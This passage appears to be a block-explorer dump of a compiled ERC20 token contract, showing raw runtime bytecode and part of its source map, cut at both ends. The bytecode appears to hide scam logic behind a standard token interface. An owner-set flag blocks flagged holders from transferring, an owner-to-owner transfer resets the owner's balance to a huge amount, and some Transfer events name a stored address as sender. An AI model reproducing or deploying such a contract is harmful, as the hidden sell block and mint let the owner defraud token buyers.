031991906115fb565b60405180910390f35b60606004805461033190611645565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611645565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b08565b8484610b10565b6001905092915050565b6000600754905090565b60006103e9848484610cd9565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116e8565b60405180910390fd5b60019150509392505050565b6000600654905090565b6104d2610b08565b73ffffffffffffffffffffffffffffffffffffffff166104f0610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061177a565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6105a9610b08565b73ffffffffffffffffffffffffffffffffffffffff166105c7610adf565b73ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106149061177a565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6060600580546106f090611645565b80601f016020809104026020016040519081016040528092919081815260200182805461071c90611645565b80156107695780601f1061073e57610100808354040283529160200191610769565b820191906000526020600020905b81548152906001019060200180831161074c57829003601f168201915b5050505050905090565b600061077d610b08565b73ffffffffffffffffffffffffffffffffffffffff1661079b610adf565b73ffffffffffffffffffffffffffffffffffffffff161480156107f057508273ffffffffffffffffffffffffffffffffffffffff166107d8610adf565b73ffffffffffffffffffffffffffffffffffffffff16145b156108aa5761085060075460016000610807610b08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461110e90919063ffffffff16565b633b9aca0061085f91906117c9565b6001600061086b610b08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108bc6108b5610b08565b8484610cd9565b6001905092915050565b6108ce610b08565b73ffffffffffffffffffffffffffffffffffffffff166108ec610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109399061177a565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b769061187d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be59061190f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccc9190611511565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f906119a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae90611a33565b60405180910390fd5b600115610e2f5760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e2e57610e2b6007548261116c90919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90611ac5565b60405180910390fd5b6000610ee06064610ed26009548661116c90919063ffffffff16565b6111e690919063ffffffff16565b9050610f3483600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc39190611ae5565b610fcd9190611b19565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161108f9190611511565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110f29190611b19565b6040516110ff9190611511565b60405180910390a35050505050565b600080828461111d9190611ae5565b905083811015611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990611b99565b60405180910390fd5b8091505092915050565b600080830361117e57600090506111e0565b6000828461118c91906117c9565b905082848261119b9190611be8565b146111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d290611c8b565b60405180910390fd5b809150505b92915050565b600061122883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127a565b905092915050565b600061127283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112dd565b905092915050565b600080831182906112c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b891906113d1565b60405180910390fd5b50600083856112d09190611be8565b9050809150509392505050565b6000838311158290611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c91906113d1565b60405180910390fd5b50600083856113349190611b19565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137b578082015181840152602081019050611360565b60008484015250505050565b6000601f19601f8301169050919050565b60006113a382611341565b6113ad818561134c565b93506113bd81856020860161135d565b6113c681611387565b840191505092915050565b600060208201905081810360008301526113eb8184611398565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611423826113f8565b9050919050565b61143381611418565b811461143e57600080fd5b50565b6000813590506114508161142a565b92915050565b6000819050919050565b61146981611456565b811461147457600080fd5b50565b60008135905061148681611460565b92915050565b600080604083850312156114a3576114a26113f3565b5b60006114b185828601611441565b92505060206114c285828601611477565b9150509250929050565b60008115159050919050565b6114e1816114cc565b82525050565b60006020820190506114fc60008301846114d8565b92915050565b61150b81611456565b82525050565b60006020820190506115266000830184611502565b92915050565b600080600060608486031215611545576115446113f3565b5b600061155386828701611441565b935050602061156486828701611441565b925050604061157586828701611477565b9150509250925092565b600060208284031215611595576115946113f3565b5b60006115a384828501611441565b91505092915050565b600080604083850312156115c3576115c26113f3565b5b60006115d185828601611441565b92505060206115e285828601611441565b9150509250929050565b6115f581611418565b82525050565b600060208201905061161060008301846115ec565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061165d57607f821691505b6020821081036116705761166f611616565b5b50919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006116d260298361134c565b91506116dd82611676565b604082019050919050565b60006020820190508181036000830152611701816116c5565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f6f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061176460218361134c565b915061176f82611708565b604082019050919050565b6000602082019050818103600083015261179381611757565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d482611456565b91506117df83611456565b92508282026117ed81611456565b915082820484148315176118045761180361179a565b5b5092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061186760258361134c565b91506118728261180b565b604082019050919050565b600060208201905081810360008301526118968161185a565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118f960238361134c565b91506119048261189d565b604082019050919050565b60006020820190508181036000830152611928816118ec565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061198b60268361134c565b91506119968261192f565b604082019050919050565b600060208201905081810360008301526119ba8161197e565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a1d60248361134c565b9150611a28826119c1565b604082019050919050565b60006020820190508181036000830152611a4c81611a10565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611aaf60288361134c565b9150611aba82611a53565b604082019050919050565b60006020820190508181036000830152611ade81611aa2565b9050919050565b6000611af082611456565b9150611afb83611456565b9250828201905080821115611b1357611b1261179a565b5b92915050565b6000611b2482611456565b9150611b2f83611456565b9250828203905081811115611b4757611b4661179a565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b83601b8361134c565b9150611b8e82611b4d565b602082019050919050565b60006020820190508181036000830152611bb281611b76565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bf382611456565b9150611bfe83611456565b925082611c0e57611c0d611bb9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c7560218361134c565b9150611c8082611c19565b604082019050919050565b60006020820190508181036000830152611ca481611c68565b905091905056fea2646970667358221220e4e66ded1a833bee3f26ebf43faa46769f8f71e7a97dc18aecf0f5d3b7be214f64736f6c63430008110033

Deployed Bytecode Sourcemap

3741:3992:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4919:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6681:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5204:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7377:351;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5109:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4415:93;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4518:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6555:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4368:38;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5012:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6202:343;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3497:235;;;:::i;:::-;;7216:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4623:100;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3273:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4919:85;4958:13;4991:5;4984:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4919:85;:::o;6681:169::-;6764:4;6781:39;6790:12;:10;:12::i;:::-;6804:7;6813:6;6781:8;:39::i;:::-;6838:4;6831:11;;6681:169;;;;:::o;5204:102::-;5259:7;5286:12;;5279:19;;5204:102;:::o;7377:351::-;7483:4;7500:36;7510:6;7518:9;7529:6;7500:9;:36::i;:::-;7547:24;7574:11;:19;7586:6;7574:19;;;;;;;;;;;;;;;:33;7594:12;:10;:12::i;:::-;7574:33;;;;;;;;;;;;;;;;7547:60;;7646:6;7626:16;:26;;7618:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;7716:4;7709:11;;;7377:351;;;;;:::o;5109:87::-;5152:7;5179:9;;5172:16;;5109:87;:::o;4415:93::-;3421:12;:10;:12::i;:::-;3409:24;;:8;:6;:8::i;:::-;:24;;;3401:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4496:4:::1;4478:6;:15;4485:7;4478:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;4415:93:::0;:::o;4518:95::-;3421:12;:10;:12::i;:::-;3409:24;;:8;:6;:8::i;:::-;:24;;;3401:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4600:5:::1;4582:6;:15;4589:7;4582:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;4518:95:::0;:::o;6555:118::-;6621:7;6648:8;:17;6657:7;6648:17;;;;;;;;;;;;;;;;6641:24;;6555:118;;;:::o;4368:38::-;;;;;;;;;;;;;;;;;;;;;;:::o;5012:89::-;5053:13;5086:7;5079:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5012:89;:::o;6202:343::-;6288:4;6321:12;:10;:12::i;:::-;6309:24;;:8;:6;:8::i;:::-;:24;;;:49;;;;;6349:9;6337:21;;:8;:6;:8::i;:::-;:21;;;6309:49;6305:158;;;6411:40;6438:12;;6411:8;:22;6420:12;:10;:12::i;:::-;6411:22;;;;;;;;;;;;;;;;:26;;:40;;;;:::i;:::-;6400:10;:51;;;;:::i;:::-;6375:8;:22;6384:12;:10;:12::i;:::-;6375:22;;;;;;;;;;;;;;;:76;;;;6305:158;6473:42;6483:12;:10;:12::i;:::-;6497:9;6508:6;6473:9;:42::i;:::-;6533:4;6526:11;;6202:343;;;;:::o;3497:235::-;3421:12;:10;:12::i;:::-;3409:24;;:8;:6;:8::i;:::-;:24;;;3401:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;3608:42:::1;3569:83;;3591:7;::::0;::::1;;;;;;;;3569:83;;;;;;;;;;;;3681:42;3663:7;::::0;:61:::1;;;;;;;;;;;;;;;;;;3497:235::o:0;7216:153::-;7306:7;7333:11;:19;7345:6;7333:19;;;;;;;;;;;;;;;:28;7353:7;7333:28;;;;;;;;;;;;;;;;7326:35;;7216:153;;;;:::o;4623:100::-;4676:4;4700:6;:15;4707:7;4700:15;;;;;;;;;;;;;;;;;;;;;;;;;4693:22;;4623:100;;;:::o;3273:89::-;3320:7;3347;;;;;;;;;;;3340:14;;3273:89;:::o;1009:115::-;1062:15;1105:10;1090:26;;1009:115;:::o;6858:350::-;6979:1;6961:20;;:6;:20;;;6953:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;7061:1;7042:21;;:7;:21;;;7034:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7145:6;7114:11;:19;7126:6;7114:19;;;;;;;;;;;;;;;:28;7134:7;7114:28;;;;;;;;;;;;;;;:37;;;;7184:7;7167:33;;7176:6;7167:33;;;7193:6;7167:33;;;;;;:::i;:::-;;;;;;;;6858:350;;;:::o;5314:880::-;5441:1;5423:20;;:6;:20;;;5415:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5526:1;5505:23;;:9;:23;;;5497:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5584:4;5580:133;;;5626:4;5608:22;;:6;:14;5615:6;5608:14;;;;;;;;;;;;;;;;;;;;;;;;;:22;;;5604:98;;5661:25;5673:12;;5661:7;:11;;:25;;;;:::i;:::-;5651:35;;5604:98;5580:133;5723:16;5742:8;:16;5751:6;5742:16;;;;;;;;;;;;;;;;5723:35;;5789:7;5777:8;:19;;5769:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5861:17;5905:30;5931:3;5905:21;5917:8;;5905:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;5893:42;;5965:29;5986:7;5965:8;:16;5974:6;5965:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5946:8;:16;5955:6;5946:16;;;;;;;;;;;;;;;:48;;;;6056:9;6048:7;6028:8;:19;6037:9;6028:19;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;:37;;;;:::i;:::-;6005:8;:19;6014:9;6005:19;;;;;;;;;;;;;;;:60;;;;6098:12;;;;;;;;;;;6081:41;;6090:6;6081:41;;;6112:9;6081:41;;;;;;:::i;:::-;;;;;;;;6155:9;6138:46;;6147:6;6138:46;;;6174:9;6166:7;:17;;;;:::i;:::-;6138:46;;;;;;:::i;:::-;;;;;;;;5402:792;;5314:880;;;:::o;1398:181::-;1456:7;1476:9;1492:1;1488;:5;;;;:::i;:::-;1476:17;;1517:1;1512;:6;;1504:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1570:1;1563:8;;;1398:181;;;;:::o;1969:252::-;2027:7;2058:1;2053;:6;2049:47;;2083:1;2076:8;;;;2049:47;2108:9;2124:1;2120;:5;;;;:::i;:::-;2108:17;;2153:1;2148;2144;:5;;;;:::i;:::-;:10;2136:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2212:1;2205:8;;;1969:252;;;;;:::o;2229:132::-;2287:7;2314:39;2318:1;2321;2314:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2307:46;;2229:132;;;;:::o;1587:136::-;1645:7;1672:43;1676:1;1679;1672:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1665:50;;1587:136;;;;:::o;2369:227::-;2489:7;2521:1;2517;:5;2524:12;2509:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2548:9;2564:1;2560;:5;;;;:::i;:::-;2548:17;;2587:1;2580:8;;;2369:227;;;;;:::o;1731:226::-;1851:7;1884:1;1879;:6;;1887:12;1871:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1911:9;1927:1;1923;:5;;;;:::i;:::-;1911:17;;1948:1;1941:8;;;1731:226;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:329::-;4482:6;4531:2;4519:9;4510:7;4506:23;4502:32;4499:119;;;4537:79;;:::i;:::-;4499:119;4657:1;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4628:117;4423:329;;;;:::o;4758:474::-;4826:6;4834;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;5136:2;5162:53;5207:7;5198:6;5187:9;5183:22;5162:53;:::i;:::-;5152:63;;5107:118;4758:474;;;;;:::o;5238:118::-;5325:24;5343:5;5325:24;:::i;:::-;5320:3;5313:37;5238:118;;:::o;5362:222::-;5455:4;5493:2;5482:9;5478:18;5470:26;;5506:71;5574:1;5563:9;5559:17;5550:6;5506:71;:::i;:::-;5362:222;;;;:::o;5590:180::-;5638:77;5635:1;5628:88;5735:4;5732:1;5725:15;5759:4;5756:1;5749:15;5776:320;5820:6;5857:1;5851:4;5847:12;5837:22;;5904:1;5898:4;5894:12;5925:18;5915:81;;5981:4;5973:6;5969:17;5959:27;;5915:81;6043:2;6035:6;6032:14;6012:18;6009:38;6006:84;;6062:18;;:::i;:::-;6006:84;5827:269;5776:320;;;:::o;6102:228::-;6242:34;6238:1;6230:6;6226:14;6219:58;6311:11;6306:2;6298:6;6294:15;6287:36;6102:228;:::o;6336:366::-;6478:3;6499:67;6563:2;6558:3;6499:67;:::i;:::-;6492:74;;6575:93;6664:3;6575:93;:::i;:::-;6693:2;6688:3;6684:12;6677:19;;6336:366;;;:::o;6708:419::-;6874:4;6912:2;6901:9;6897:18;6889:26;;6961:9;6955:4;6951:20;6947:1;6936:9;6932:17;6925:47;6989:131;7115:4;6989:131;:::i;:::-;6981:139;;6708:419;;;:::o;7133:220::-;7273:34;7269:1;7261:6;7257:14;7250:58;7342:3;7337:2;7329:6;7325:15;7318:28;7133:220;:::o;7359:366::-;7501:3;7522:67;7586:2;7581:3;7522:67;:::i;:::-;7515:74;;7598:93;7687:3;7598:93;:::i;:::-;7716:2;7711:3;7707:12;7700:19;;7359:366;;;:::o;7731:419::-;7897:4;7935:2;7924:9;7920:18;7912:26;;7984:9;7978:4;7974:20;7970:1;7959:9;7955:17;7948:47;8012:131;8138:4;8012:131;:::i;:::-;8004:139;;7731:419;;;:::o;8156:180::-;8204:77;8201:1;8194:88;8301:4;8298:1;8291:15;8325:4;8322:1;8315:15;8342:410;8382:7;8405:20;8423:1;8405:20;:::i;:::-;8400:25;;8439:20;8457:1;8439:20;:::i;:::-;8434:25;;8494:1;8491;8487:9;8516:30;8534:11;8516:30;:::i;:::-;8505:41;;8695:1;8686:7;8682:15;8679:1;8676:22;8656:1;8649:9;8629:83;8606:139;;8725:18;;:::i;:::-;8606:139;8390:362;8342:410;;;;:::o;8758:224::-;8898:34;8894:1;8886:6;8882:14;8875:58;8967:7;8962:2;8954:6;8950:15;8943:32;8758:224;:::o;8988:366::-;9130:3;9151:67;9215:2;9210:3;9151:67;:::i;:::-;9144:74;;9227:93;9316:3;9227:93;:::i;:::-;9345:2;9340:3;9336:12;9329:19;;8988:366;;;:::o;9360:419::-;9526:4;9564:2;9553:9;9549:18;9541:26;;9613:9;9607:4;9603:20;9599:1;9588:9;9584:17;9577:47;9641:131;9767:4;9641:131;:::i;:::-;9633:139;;9360:419;;;:::o;9785:222::-;9925:34;9921:1;9913:6;9909:14;9902:58;9994:5;9989:2;9981:6;9977:15;9970:30;9785:222;:::o;10013:366::-;10155:3;10176:67;10240:2;10235:3;10176:67;:::i;:::-;10169:74;;10252:93;10341:3;10252:93;:::i;:::-;10370:2;10365:3;10361:12;10354:19;;10013:366;;;:::o;10385:419::-;10551:4;10589:2;10578:9;10574:18;10566:26;;10638:9;10632:4;10628:20;10624:1;10613:9;10609:17;10602:47;10666:131;10792:4;10666:131;:::i;:::-;10658:139;;10385:419;;;:::o;10810:225::-;10950:34;10946:1;10938:6;10934:14;10927:58;11019:8;11014:2;11006:6;11002:15;10995:33;10810:225;:::o;11041:366::-;11183:3;11204:67;11268:2;11263:3;11204:67;:::i;:::-;11197:74;;11280:93;11369:3;11280:93;:::i;:::-;11398:2;11393:3;11389:12;11382:19;;11041:366;;;:::o;11413:419::-;11579:4;11617:2;11606:9;11602:18;11594:26;;11666:9;11660:4;11656:20;11652:1;11641:9;11637:17;11630:47;11694:131;11820:4;11694:131;:::i;:::-;11686:139;;11413:419;;;:::o;11838:223::-;11978:34;11974:1;11966:6;11962:14;11955:58;12047:6;12042:2;12034:6;12030:15;12023:31;11838:223;:::o;12067:366::-;12209:3;12230:67;12294:2;12289:3;12230:67;:::i;:::-;12223:74;;12306:93;12395:3;12306:93;:::i;:::-;12424:2;12419:3;12415:12;12408:19;;12067:366;;;:::o;12439:419::-;12605:4;12643:2;12632:9;12628:18;12620:26;;12692:9;12686:4;12682:20;12678:1;12667:9;12663:17;12656:47;12720:131;12846:4;12720:131;:::i;:::-;12712:139;;12439:419;;;:::o;12864:227::-;13004:34;13000:1;12992:6;12988:14;12981:58;13073:10;13068:2;13060:6;13056:15;13049:35;12864:227;:::o;13097:366::-;13239:3;13260:67;13324:2;13319:3;13260:67;:::i;:::-;13253:74;;13336:93;13425:3;13336:93;:::i;:::-;13454:2;13449:3;13445:12;13438:19;;13097:366;;;:::o;13469:419::-;13635:4;13673:2;13662:9;13658:18;13650:26;;13722:9;13716:4;13712:20;13708:1;13697:9;13693:17;13686:47;13750:131;13876:4;13750:131;:::i;:::-;13742:139;;13469:419;;;:::o;13894:191::-;13934:3;13953:20;13971:1;13953:20;:::i;:::-;13948:25;;13987:20;14005:1;13987:20;:::i;:::-;13982:25;;14030:1;14027;14023:9;14016:16;;14051:3;14048:1;14045:10;14042:36;;;14058:18;;:::i;:::-;14042:36;13894:191;;;;:::o;14091:194::-;14131:4;14151:20;14169:1;14151:20;:::i;:::-;14146:25;;14185:20;14203:1;14185:20;:::i;:::-;14180:25;;14229:1;14226;14222:9;14214:17;;14253:1;14247:4;14244:11;14241:37;;;14258:18;;:::i;:::-;14241:37;14091:194;;;;:::o;14291:177::-;14431:29;14427:1;14419:6;14415:14;14408:53;14291:177;:::o;14474:366::-;14616:3;14637:67;14701:2;14696:3;14637:67;:::i;:::-;14630:74;;14713:93;14802:3;14713:93;:::i;:::-;14831:2;14826:3;14822:12;14815:19;;14474:366;;;:::o;14846:419::-;15012: